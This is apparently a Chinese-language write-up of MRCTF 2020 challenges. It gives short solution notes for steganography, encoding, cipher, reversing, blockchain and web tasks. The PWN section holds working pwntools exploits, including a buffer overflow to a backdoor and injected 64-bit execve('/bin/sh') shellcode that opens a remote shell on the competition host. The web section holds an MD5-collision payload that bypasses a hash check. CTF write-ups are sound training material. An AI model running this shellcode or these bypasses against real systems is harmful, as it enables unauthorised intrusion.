[WP]MRCTF 2020部分题目简要解题思路
MISC:
修改系统日期得到flag
修改图片高度得到flag
我这里用了audacity分析了频谱
根据频率查表得到电话号码
到微信号发送手机号得到flag
三张图片末尾提取出同一个压缩包的三个部分
拼接起来爆破密码为1234
解压得到flag.txt 与隐藏文件hint.txt
把flag.txt base85解码-->base16解码-->base32解码-->base16解码-->base64解码得到flag
百度搜一下可以找到原图
简单拼了一下
前几年看到过这种用声音逐行传输图片的办法
叫做SSTV
SSTV加解密软件 : https://hyluz.cn/?id=116
和bjd的套娃题基本一样
一键解压脚本
#coding:utf-8 import os import zipfile zipfile_addr0='C:\\Users\\80597\\Desktop\\qctw\\' zipfile_addr=zipfile_addr0 pwd='0573' lastname='0573' while(1): zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.zip', 'r') for names in zip_file.namelist(): zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii')) pwd=names[:-4] print(pwd) print(names) lastname=names[:-4]
最终解压出来是一个像素点二维码
01替换后用工具绘制
ps取个反像后扫一扫得到flag
解压得到一张图片,一段音频
音频的文件名提示看文件结尾,查看文件结尾发现AES密码
图片中分离出aes.png 得知密钥为Tokyo
解密得到压缩包密码
压缩包中还有一个音频文件
silentEye docode一下得到flag
Rar文件头部有误,修改一下解压出来
隐藏文字+音符密码解密得到flag
解压出png与有密码的flag.rar
png中发现lsb隐藏文件与结尾的带密码压缩包
提取lsb隐藏的png
得到png结尾压缩包的密码
打开压缩包中的out.txt 发现255等数字,学校平台上有类似的题目,把255等分别提取出前两位二进制数字
得到题目附带的另一个压缩包的密码,解压发现里面有个伪装成zip的doc文档,修改后缀名后打开
文档末尾有白的的文字,改个颜色就能看到了
base64逐行解密得到01组成的文本
把1替换成空格得到flag
CRYPTO
看看九键键盘获得flag
查阅天干地支表并把序号加60 再对照ascii码表获得flag
猪圈密码 圣堂武士密码 标准银河字母的结合体
参照密码表解密后再用栅栏密码解密得到flag
维吉尼亚密码,需要爆破密钥
自己写爆破脚本很麻烦,在GitHub上找点项目
然后就得到了flag
RE
str1="gy{\x7Fu+<RSyW^]B{-*fB~LWyAk~e<\EobM" str2=[9,0x0A,0x0F,0x17,7,0x18,0x0C,6,1,0x10,3,0x11,0x20,0x1D,0x0B,0x1E,0x1B,0x16,4,0x0D,0x13,0x14,0x15,2,0x19,5,0x1F,8,0x12,0x1A,0x1C,0x0E] flag="" for i in range(32): flag+='\n'+str(str2[i])+':'+chr(ord(str1[i])^str2[i]) print(flag)
输出按1-32排序获得flag
解压apk
unity的游戏,直接搜索 Assembly-CSharp.dll
由于是.net的dll,使用Reflector打开
搜索字符串
发现flag
动态调试在首个输出后下断
一直在循环处理r9+rax的数据,r9存储数组位置,rax存储数组下标
跳转到这里看看
再往下看看
判断代码都有了
大致流程是把输入按奇数位偶数位进行处理后与cmps数组的响应位置比较
编写解题脚本
#include<stdio.h> int main(){ int cmps[29]={0,83,80,73,80,76,125,61,96,107,85,62,63,121, 122,101,33,123,82,101,114,54,100 ,101,97,85,111,39,97}; for(int i=0;i<=28;i++){ int a; if(i%2==0){ a=cmps[i]^i; } else{ a=cmps[i]-6; } printf("%c",a); } }
go语言程序,无符号,使用go_entry.py符号化,符号化后可以更方便地分析
对输入长度进行判断,0x18
再此下断调试
单步下来有个stringcmp果断进入
rsi对应的值与rdi对应的值做比较,查看rdi,是我们输入的东西,rsi是flag
PWN
#coding:utf-8 from pwn import * #context.log_level = 'debug' i=1 while(1): p=remote("38.39.244.2",28073) #p=process('./easy_overflow') p.sendline('a'*48+"n0t_r3@11y_f1@g") p.sendline('ls') print i try: p.recv(timeout=5) except EOFError: i=i+1 p.close() continue #p.close() p.interactive()
后门判断位于canary校验前,对canary进行泄露和保留
直接执行输入的shellcode
找个64位的shellcode用一下
from pwn import * shellcode="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" p=remote("38.39.244.2",28083) p.sendline(shellcode) p.interactive()
Ethereum
不会区块链,这题看题目flag应该直接在合约里面
科学上网打开账户
题目开启时有一笔交易
查看交易的哈希块
inputData的编码方式改成utf8看到flag
反编译data的原始数据也可以得到flag
WEB
md5值全等且原字符串不相等
找了两个md5全等的串
/?id=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&gg=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
需要再post一个passwd=1234567a
然后可能是我太业余了我的burp发不出参数(哪位大佬帮我看看,是我的问题还是它的问题),
找了个在线网站发
by:Luz